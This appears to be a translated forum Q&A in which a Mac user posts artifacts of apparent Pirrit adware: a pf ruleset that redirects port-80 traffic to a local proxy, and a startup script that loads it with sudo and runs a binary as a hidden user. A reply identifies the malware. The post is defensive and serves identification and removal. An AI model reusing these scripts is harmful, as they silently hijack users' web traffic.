☰

proceso de pseudohidrofobia Mac

tag-icon • tag-icon macos malware malware-removal
proceso de pseudohidrofobia Mac

Recientemente comencé a notar que cuando navego por una página web en mi MBP 10.10.5 Yosemite, Chrome Canary Versión 53 abría una nueva pestaña o algunas páginas no se abrían... esta pestaña me redirigía a páginas aleatorias.

Activé el Firewall y noté que un proceso llamado pseudohidrofobia intentaba abrir una conexión entrante

/etc/pseudohidrofobia.conf

    rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
    pass out on en0 route-to lo0  inet proto tcp from en0 to any port 80 keep state
    pass out proto tcp all user volutate

/etc/pseudohidrofobia.sh

#!/bin/sh

if [ -a /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia ];
then
sleep 10
sudo pfctl -evf /etc/pseudohydrophobia.conf
sudo -u volutate /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia
fi
exit 0

Puertos:

netstat -an | grep 9882
tcp4       0      0  *.9882                 *.*                    LISTEN

/etc/pseudohidrofobia.conf

rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0  inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate

Eliminaré todos estos scripts y binarios, pero quiero publicarlos porque no encontré ninguna referencia de Google.

Respuesta1

Echa un vistazo ahttps://objective-see.com/blog/blog_0x0E.html

Análisis de un adware intrusivo multiplataforma; OSX/Pirrit

Podría ser el malware Pirrit.

El nombre de usuario volutatey los nombres de archivo ( pseudohydrophobia) sin duda se generan aleatoriamente, pero el número de puerto 9882 es el mismo...

información relacionada